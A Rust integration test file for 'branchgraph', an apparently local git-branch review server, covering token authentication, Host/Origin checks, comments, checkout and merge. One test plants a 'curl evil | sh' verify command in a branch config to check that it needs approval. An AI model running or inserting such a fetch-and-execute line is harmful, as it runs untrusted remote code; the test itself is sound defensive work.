Files
branchgraph/tests/live.rs
Jean-Gabriel Gill-Couture e03a92c570 Remove dead code, merge duplicated logic, match docs to the code
- Drop fields and functions nothing reads: job and proc tips, fetch time,
  PR url/author (and their GraphQL fields), spine summaries, diff::commit,
  unread data attributes, unused CSS and tokens.
- One home each for state wording (naming main as the repo does), lane
  lookup, unseen, outdated, main's tip, the stop wait and the token header.
- Narrow visibility; rename render::View to Filter; queue ranking moves
  to the CLI, its only user.
- Token test covers every route; shared checkout snapshot in the fixture.
- Client: errors outside Run/Send are toasts, history only after a good
  load, a drag stays in one file, the agent marker is a ring.
- design.md, the skill and AGENTS.md describe what is built.
2026-10-09 12:24:24 -04:00

747 lines
23 KiB
Rust

mod fixture;
use std::time::Duration;
use branchgraph::{git, live, server};
use fixture::{Fixture, commit, git as run};
struct Served {
port: u16,
token: String,
}
impl Served {
fn url(&self, path: &str) -> String {
format!("http://127.0.0.1:{}{path}", self.port)
}
/// A client that sends the token, as the CLI does.
fn client(&self) -> reqwest::Client {
let mut headers = reqwest::header::HeaderMap::new();
headers.insert("x-bg-token", self.token.parse().unwrap());
reqwest::Client::builder()
.default_headers(headers)
.redirect(reqwest::redirect::Policy::none())
.build()
.unwrap()
}
}
async fn serve(f: &Fixture) -> Served {
serve_on(f, true).await
}
async fn serve_on(f: &Fixture, loopback: bool) -> Served {
let repo = git::open(&f.clone).unwrap();
let app = live::App::new(repo.into_sync());
live::spawn(app.clone(), None, None, None);
app.snapshot
.subscribe()
.wait_for(|s| s.graph.is_some())
.await
.unwrap();
let listener = tokio::net::TcpListener::bind(("127.0.0.1", 0))
.await
.unwrap();
let port = listener.local_addr().unwrap().port();
let state = f.clone.with_file_name("state");
std::fs::create_dir_all(&state).unwrap();
let ctx = server::Ctx::new(
app,
"fixture".into(),
server::token().unwrap(),
state,
false,
);
let token = ctx.token.clone();
tokio::spawn(
axum::serve(
listener,
server::router(
ctx,
std::net::SocketAddr::from(([127, 0, 0, 1], port)),
loopback,
),
)
.into_future(),
);
Served { port, token }
}
/// Reads the event stream until an event of `kind` contains `needle`.
async fn wait_for(resp: &mut reqwest::Response, kind: &str, needle: &str) {
let mut buf = String::new();
loop {
let chunk = resp.chunk().await.unwrap().expect("stream stays open");
buf.push_str(&String::from_utf8_lossy(&chunk));
if buf
.split("\n\n")
.any(|e| e.starts_with(&format!("event: {kind}")) && e.contains(needle))
{
return;
}
}
}
#[tokio::test(flavor = "multi_thread")]
async fn a_new_branch_reaches_an_open_page_without_reload() {
let f = Fixture::new();
let s = serve(&f).await;
let mut events = s.client().get(s.url("/events")).send().await.unwrap();
assert_eq!(events.status(), 200);
wait_for(&mut events, "rail", "feat/old").await;
let c = f.clone.as_path();
run(c, &["checkout", "-q", "-b", "feat/new", "main"]);
commit(c, "new.txt", "new\n", "new branch commit");
tokio::time::timeout(
Duration::from_secs(10),
wait_for(&mut events, "rail", r#"data-ref="feat/new""#),
)
.await
.expect("update within 10 s");
}
#[tokio::test(flavor = "multi_thread")]
async fn other_hosts_and_origins_are_refused() {
let f = Fixture::new();
let s = serve(&f).await;
let client = s.client();
assert_eq!(client.get(s.url("/")).send().await.unwrap().status(), 200);
let rebound = client
.get(s.url("/"))
.header("Host", format!("evil.example:{}", s.port))
.send()
.await
.unwrap();
assert_eq!(rebound.status(), 403);
let cross = client
.post(s.url("/api/fetch"))
.header("Origin", "http://evil.example")
.send()
.await
.unwrap();
assert_eq!(cross.status(), 403);
}
#[tokio::test(flavor = "multi_thread")]
async fn every_route_needs_the_token_and_the_printed_url_sets_it() {
let f = Fixture::new();
let s = serve(&f).await;
let bare = reqwest::Client::builder()
.redirect(reqwest::redirect::Policy::none())
.build()
.unwrap();
let body = serde_json::json!({ "b": "feat/old", "text": "x", "tip": "0000000000000000000000000000000000000000" });
for path in [
"/api/comment",
"/api/comment/delete",
"/api/comment/edit",
"/api/instruction",
"/api/sent",
"/api/config",
"/api/seen",
"/api/run",
"/api/stop",
"/api/send",
"/api/fetch",
"/api/checkout",
"/api/merge",
] {
let r = bare.post(s.url(path)).json(&body).send().await.unwrap();
assert_eq!(r.status(), 403, "POST {path}");
}
for path in [
"/",
"/view?b=feat/old",
"/file?b=feat/old&f=old.txt",
"/panel?ref=feat/old",
"/menu?ref=feat/old",
"/events",
"/api/brief?b=feat/old",
"/api/config?b=feat/old",
"/api/log?b=feat/old",
"/api/log.txt?b=feat/old",
] {
assert_eq!(
bare.get(s.url(path)).send().await.unwrap().status(),
403,
"GET {path}"
);
}
let wrong = bare
.post(s.url("/api/run"))
.header("x-bg-token", "nope")
.json(&body)
.send()
.await
.unwrap();
assert_eq!(wrong.status(), 403);
// The printed URL trades the token for a cookie and drops it from the address.
let first = bare
.get(s.url(&format!("/?t={}&b=feat/old", s.token)))
.send()
.await
.unwrap();
assert_eq!(first.status(), 303);
assert_eq!(first.headers()["location"], "/?b=feat/old");
let cookie = first.headers()["set-cookie"].to_str().unwrap().to_owned();
assert!(
cookie.contains("HttpOnly") && cookie.contains("SameSite=Strict"),
"{cookie}"
);
let page = bare
.get(s.url("/?b=feat/old"))
.header("cookie", cookie.split(';').next().unwrap())
.send()
.await
.unwrap();
assert_eq!(page.status(), 200);
assert!(
!page.text().await.unwrap().contains(&s.token),
"the page never shows the token"
);
// With the token the request reaches the action: no run command is set.
let with = s
.client()
.post(s.url("/api/run"))
.json(&body)
.send()
.await
.unwrap();
assert_eq!(with.status(), 409);
assert!(with.text().await.unwrap().contains(".branchgraph"));
}
#[tokio::test(flavor = "multi_thread")]
async fn since_last_review_shows_only_what_came_after_the_seen_tip() {
let f = Fixture::new();
let s = serve(&f).await;
let c = f.clone.as_path();
let client = s.client();
let stat = |html: String| {
html.split("class=\"total muted mono\">")
.nth(1)
.and_then(|t| t.split('<').next())
.unwrap_or("")
.to_owned()
};
let view = |q: &str| {
let req = client.get(s.url(&format!("/view?{q}")));
async move { req.send().await.unwrap().text().await.unwrap() }
};
// Never seen: the whole branch, two lines added to old.txt.
assert_eq!(stat(view("b=feat/old").await), "1 file +2");
// Opening the page wrote nothing: still the whole branch.
assert_eq!(stat(view("b=feat/old").await), "1 file +2");
// Seen at its first commit: the default view is what came after.
let first = run(c, &["rev-parse", "feat/old~1"]);
let r = client
.post(s.url("/api/seen"))
.json(&serde_json::json!({ "b": "feat/old", "tip": first }))
.send()
.await
.unwrap();
assert_eq!(r.status(), 204);
assert_eq!(stat(view("b=feat/old").await), "1 file +1");
assert_eq!(stat(view("b=feat/old&whole=1").await), "1 file +2");
}
#[tokio::test(flavor = "multi_thread")]
async fn bound_beyond_loopback_any_host_works_with_the_token_only() {
let f = Fixture::new();
let s = serve_on(&f, false).await;
let host = format!("devbox.lan:{}", s.port);
let with = s
.client()
.get(s.url("/"))
.header("Host", &host)
.send()
.await
.unwrap();
assert_eq!(with.status(), 200, "another host name is fine off loopback");
let bare = reqwest::Client::new();
let without = bare
.get(s.url("/"))
.header("Host", &host)
.send()
.await
.unwrap();
assert_eq!(without.status(), 403, "still nothing without the token");
let cross = s
.client()
.post(s.url("/api/fetch"))
.header("Host", &host)
.header("Origin", "http://evil.example")
.send()
.await
.unwrap();
assert_eq!(cross.status(), 403, "a cross-site page cannot post");
let same = s
.client()
.post(s.url("/api/fetch"))
.header("Host", &host)
.header("Origin", format!("http://{host}"))
.send()
.await
.unwrap();
assert_eq!(same.status(), 202);
}
#[tokio::test(flavor = "multi_thread")]
async fn a_review_is_edited_copied_and_marked_sent() {
let f = Fixture::new();
let s = serve(&f).await;
let c = s.client();
let post = |path: &str, body: serde_json::Value| c.post(s.url(path)).json(&body).send();
let b = "feat/long";
assert_eq!(post("/api/comment", serde_json::json!({ "b": b, "path": "long.txt", "start": 1, "end": 1, "excerpt": "+39", "text": "Second" })).await.unwrap().status(), 204);
assert_eq!(
post(
"/api/comment",
serde_json::json!({ "b": b, "text": "Whole branch" })
)
.await
.unwrap()
.status(),
204
);
assert_eq!(
post(
"/api/comment",
serde_json::json!({ "b": b, "path": "a.txt", "text": "First by path" })
)
.await
.unwrap()
.status(),
204
);
assert_eq!(
post(
"/api/comment/edit",
serde_json::json!({ "b": b, "id": 1, "text": "Second, edited" })
)
.await
.unwrap()
.status(),
204
);
assert_eq!(
post(
"/api/instruction",
serde_json::json!({ "b": b, "instruction": "Do not push." })
)
.await
.unwrap()
.status(),
204
);
let copied: serde_json::Value = c
.get(s.url(&format!("/api/brief?b={b}")))
.send()
.await
.unwrap()
.json()
.await
.unwrap();
let brief = copied["text"].as_str().unwrap().to_owned();
assert!(
brief.contains("Second, edited") && brief.contains("Do not push."),
"{brief}"
);
let order: Vec<usize> = ["First by path", "Second, edited", "Whole branch"]
.iter()
.map(|t| brief.find(t).unwrap())
.collect();
assert!(
order.windows(2).all(|w| w[0] < w[1]),
"by file, then the branch: {brief}"
);
// Edited after the copy: the agent has the old text, so it stays a draft.
let first = copied["sent"]
.as_array()
.unwrap()
.iter()
.find(|p| p[1] == "First by path")
.unwrap()[0]
.clone();
assert_eq!(
post(
"/api/comment/edit",
serde_json::json!({ "b": b, "id": first, "text": "First, edited after the copy" })
)
.await
.unwrap()
.status(),
204
);
// Copied into a session by hand, then marked sent: only what it held.
assert_eq!(
post(
"/api/sent",
serde_json::json!({ "b": b, "sent": copied["sent"], "instruction": copied["instruction"] })
)
.await
.unwrap()
.status(),
204
);
let after: serde_json::Value = c
.get(s.url(&format!("/api/brief?b={b}")))
.send()
.await
.unwrap()
.json()
.await
.unwrap();
let after = after["text"].as_str().unwrap().to_owned();
assert!(
!after.contains("Second, edited") && !after.contains("Do not push."),
"{after}"
);
assert!(after.contains("First, edited after the copy"), "{after}");
}
#[tokio::test(flavor = "multi_thread")]
async fn run_asks_before_a_command_main_does_not_have_and_not_again_once_approved() {
let f = Fixture::new();
let c = f.clone.as_path();
fixture::commit(
c,
".branchgraph",
"[branchgraph]\n\trun = true\n",
"main runs true",
);
run(c, &["push", "-q", "origin", "main"]);
run(c, &["checkout", "-q", "-b", "feat/other-run", "main"]);
fixture::commit(
c,
".branchgraph",
"[branchgraph]\n\trun = echo branch\n",
"the branch runs something else",
);
run(c, &["push", "-q", "-u", "origin", "feat/other-run"]);
run(c, &["checkout", "-q", "main"]);
let s = serve(&f).await;
let client = s.client();
let start = |approve: Vec<&str>| {
client
.post(s.url("/api/run"))
.json(&serde_json::json!({ "b": "feat/other-run", "approve": approve }))
.send()
};
let ask = start(vec![]).await.unwrap();
assert_eq!(ask.status(), 428);
let q: serde_json::Value = ask.json().await.unwrap();
assert_eq!(q["commands"], serde_json::json!(["echo branch"]));
// Approving something else than what is there now is not approval.
assert_eq!(start(vec!["echo other"]).await.unwrap().status(), 428);
assert_eq!(
start(vec!["echo branch"]).await.unwrap().status(),
204,
"approved what was shown, it runs"
);
assert_eq!(
start(vec![]).await.unwrap().status(),
204,
"approved once, not asked again"
);
// A branch running what main runs is not asked about.
let same = client
.post(s.url("/api/run"))
.json(&serde_json::json!({ "b": "feat/old" }))
.send()
.await
.unwrap();
assert_eq!(same.status(), 204);
}
#[tokio::test(flavor = "multi_thread")]
async fn send_asks_about_a_verify_main_lacks_but_not_about_the_default_agent() {
let f = Fixture::new();
let c = f.clone.as_path();
let s = serve(&f).await;
let client = s.client();
let send = |b: &str| {
client
.post(s.url("/api/send"))
.json(&serde_json::json!({ "b": b }))
.send()
};
let instruct = |b: &str| {
client
.post(s.url("/api/instruction"))
.json(&serde_json::json!({ "b": b, "instruction": "Go." }))
.send()
};
// No .branchgraph anywhere: both sides use the default agent, no question.
instruct("feat/old").await.unwrap();
assert_eq!(send("feat/old").await.unwrap().status(), 204);
// A branch whose brief names a verify main does not have: asked.
run(c, &["checkout", "-q", "-b", "feat/verify", "main"]);
fixture::commit(
c,
".branchgraph",
"[branchgraph]\n\tverify = curl evil | sh\n",
"a verify main lacks",
);
run(c, &["push", "-q", "-u", "origin", "feat/verify"]);
run(c, &["checkout", "-q", "main"]);
let mut seen = false;
for _ in 0..50 {
if client
.get(s.url("/api/brief?b=feat/verify"))
.send()
.await
.unwrap()
.status()
== 200
{
seen = true;
break;
}
tokio::time::sleep(Duration::from_millis(100)).await;
}
assert!(seen, "the new branch shows up");
instruct("feat/verify").await.unwrap();
let ask = send("feat/verify").await.unwrap();
assert_eq!(ask.status(), 428);
let q: serde_json::Value = ask.json().await.unwrap();
assert!(
q["commands"]
.as_array()
.unwrap()
.iter()
.any(|c| c == "curl evil | sh"),
"{q}"
);
// The copied brief asks nothing, so it leaves the unapproved verify out.
let copied: serde_json::Value = client
.get(s.url("/api/brief?b=feat/verify"))
.send()
.await
.unwrap()
.json()
.await
.unwrap();
assert!(
!copied["text"].as_str().unwrap().contains("curl evil"),
"{copied}"
);
}
#[tokio::test(flavor = "multi_thread")]
async fn setup_still_runs_when_saving_settings_made_the_worktree() {
let f = Fixture::new();
let s = serve(&f).await;
let client = s.client();
let saved = client
.post(s.url("/api/config"))
.json(&serde_json::json!({ "b": "feat/old", "text": "[branchgraph]\n\tsetup = touch setup-ran\n\trun = true\n" }))
.send()
.await
.unwrap();
assert_eq!(saved.status(), 200);
let file = std::path::PathBuf::from(saved.text().await.unwrap());
let ran = file.with_file_name("setup-ran");
assert!(!ran.exists(), "saving runs nothing");
let run = client
.post(s.url("/api/run"))
.json(&serde_json::json!({ "b": "feat/old" }))
.send()
.await
.unwrap();
assert_eq!(run.status(), 204, "what the page saved is approved");
for _ in 0..50 {
if ran.exists() {
return;
}
tokio::time::sleep(Duration::from_millis(100)).await;
}
panic!("setup did not run on the first Run");
}
/// The value of `data-<name>` on the review, the range the page shows.
fn review_attr(html: &str, name: &str) -> String {
html.split(&format!(" data-{name}=\""))
.nth(1)
.and_then(|t| t.split('"').next())
.unwrap_or("")
.to_owned()
}
#[tokio::test(flavor = "multi_thread")]
async fn another_base_diffs_from_where_the_branches_split() {
let f = Fixture::new();
let c = f.clone.as_path();
let s = serve(&f).await;
let client = s.client();
let view = |q: &str| {
let req = client.get(s.url(&format!("/view?{q}")));
async move { req.send().await.unwrap().text().await.unwrap() }
};
let split = run(c, &["merge-base", "origin/feat/old", "origin/feat/synced"]);
let html = view("b=feat/synced&whole=1&base=feat/old").await;
assert_eq!(review_attr(&html, "base"), "feat/old");
assert_eq!(
review_attr(&html, "from"),
split,
"git merge-base of the two"
);
// Since a review, the base still holds: the page names it, so the next
// "All" is the diff it claims.
let since = run(c, &["rev-parse", "origin/feat/synced~1"]);
let narrow = view(&format!("b=feat/synced&since={since}&base=feat/old")).await;
assert_eq!(review_attr(&narrow, "base"), "feat/old");
assert_eq!(review_attr(&narrow, "from"), since);
// A branch cannot be its own base: main it is.
let own = view("b=feat/synced&whole=1&base=feat/synced").await;
assert_eq!(review_attr(&own, "base"), "main");
}
#[tokio::test(flavor = "multi_thread")]
async fn checkout_switches_the_users_checkout_but_never_over_their_changes() {
let f = Fixture::new();
let c = f.clone.as_path();
// Only on origin: checking it out makes a branch tracking it.
run(c, &["branch", "-D", "feat/old"]);
let s = serve(&f).await;
let client = s.client();
let tip = |b: &str| run(c, &["rev-parse", &format!("origin/{b}")]);
let act = |b: &str, tip: String| {
client
.post(s.url("/api/checkout"))
.json(&serde_json::json!({ "b": b, "tip": tip }))
.send()
};
let head = || run(c, &["rev-parse", "--abbrev-ref", "HEAD"]);
std::fs::write(c.join("app.txt"), "changed\n").unwrap();
let refused = act("feat/old", tip("feat/old")).await.unwrap();
assert_eq!(refused.status(), 409);
assert!(refused.text().await.unwrap().contains("modified"));
// Staged only counts too.
run(c, &["add", "app.txt"]);
assert_eq!(
act("feat/old", tip("feat/old")).await.unwrap().status(),
409
);
assert_eq!(head(), "main");
run(c, &["reset", "-q", "--hard"]);
// The menu showed another tip: the branch moved, nothing happens.
assert_eq!(act("feat/old", tip("main")).await.unwrap().status(), 409);
assert_eq!(head(), "main");
assert_eq!(
act("feat/old", tip("feat/old")).await.unwrap().status(),
200
);
assert_eq!(head(), "feat/old");
assert_eq!(
run(c, &["rev-parse", "--abbrev-ref", "feat/old@{upstream}"]),
"origin/feat/old"
);
// Checked out in another worktree: git would refuse, so does the page.
let agent = run(c, &["rev-parse", "agent/x"]);
let other = act("agent/x", agent).await.unwrap();
assert_eq!(other.status(), 409);
assert!(other.text().await.unwrap().contains("checked out in"));
// Local main behind origin's, which the graph shows: switched, and told.
run(c, &["branch", "-f", "main", "main~1"]);
let behind = act("main", tip("main")).await.unwrap();
assert_eq!(behind.status(), 200);
assert!(behind.text().await.unwrap().contains("not at"));
}
#[tokio::test(flavor = "multi_thread")]
async fn merge_goes_into_the_checked_out_branch_and_a_conflict_is_undone() {
let f = Fixture::new();
let c = f.clone.as_path();
run(c, &["config", "user.name", "lead"]);
run(c, &["config", "user.email", "lead@example.com"]);
let s = serve(&f).await;
let client = s.client();
let merge = |b: &str| {
let tip = run(c, &["rev-parse", &format!("origin/{b}")]);
client
.post(s.url("/api/merge"))
.json(&serde_json::json!({ "b": b, "tip": tip }))
.send()
};
let before = run(c, &["rev-parse", "HEAD"]);
let conflict = merge("feat/conflict").await.unwrap();
assert_eq!(conflict.status(), 409);
assert!(conflict.text().await.unwrap().contains("app.txt"));
assert_eq!(run(c, &["rev-parse", "HEAD"]), before);
assert_eq!(
run(c, &["status", "--porcelain", "--untracked-files=no"]),
""
);
assert!(!c.join(".git/MERGE_HEAD").exists(), "not left mid-merge");
// The user's own merge in progress is theirs: refused, not aborted.
run(c, &["merge", "-q", "--no-commit", "--no-ff", "feat/synced"]);
let theirs = merge("feat/old").await.unwrap();
assert_eq!(theirs.status(), 409);
assert!(
c.join(".git/MERGE_HEAD").exists(),
"their merge is still there"
);
run(c, &["merge", "--abort"]);
// No branch to merge into.
run(c, &["checkout", "-q", "--detach"]);
assert_eq!(merge("feat/old").await.unwrap().status(), 409);
run(c, &["checkout", "-q", "main"]);
let ok = merge("feat/old").await.unwrap();
assert_eq!(ok.status(), 200);
assert_eq!(ok.text().await.unwrap(), "Merged feat/old into main");
let again = merge("feat/old").await.unwrap();
assert!(again.text().await.unwrap().contains("nothing to merge"));
let tip = run(c, &["rev-parse", "origin/feat/old"]);
run(c, &["merge-base", "--is-ancestor", &tip, "HEAD"]);
assert_eq!(run(c, &["rev-parse", "--abbrev-ref", "HEAD"]), "main");
}
/// maud writes `.a class=…` as two class attributes and browsers keep the
/// first: label states and the selected rows went unstyled that way.
#[tokio::test(flavor = "multi_thread")]
async fn no_element_has_two_class_attributes() {
let f = Fixture::new();
let s = serve(&f).await;
let html = s
.client()
.get(s.url("/?b=feat/old&whole=1"))
.send()
.await
.unwrap()
.text()
.await
.unwrap();
let doubled: Vec<&str> = html
.split('<')
.filter(|tag| {
tag.split('>')
.next()
.unwrap_or("")
.matches(" class=")
.count()
> 1
})
.collect();
assert!(doubled.is_empty(), "{doubled:?}");
}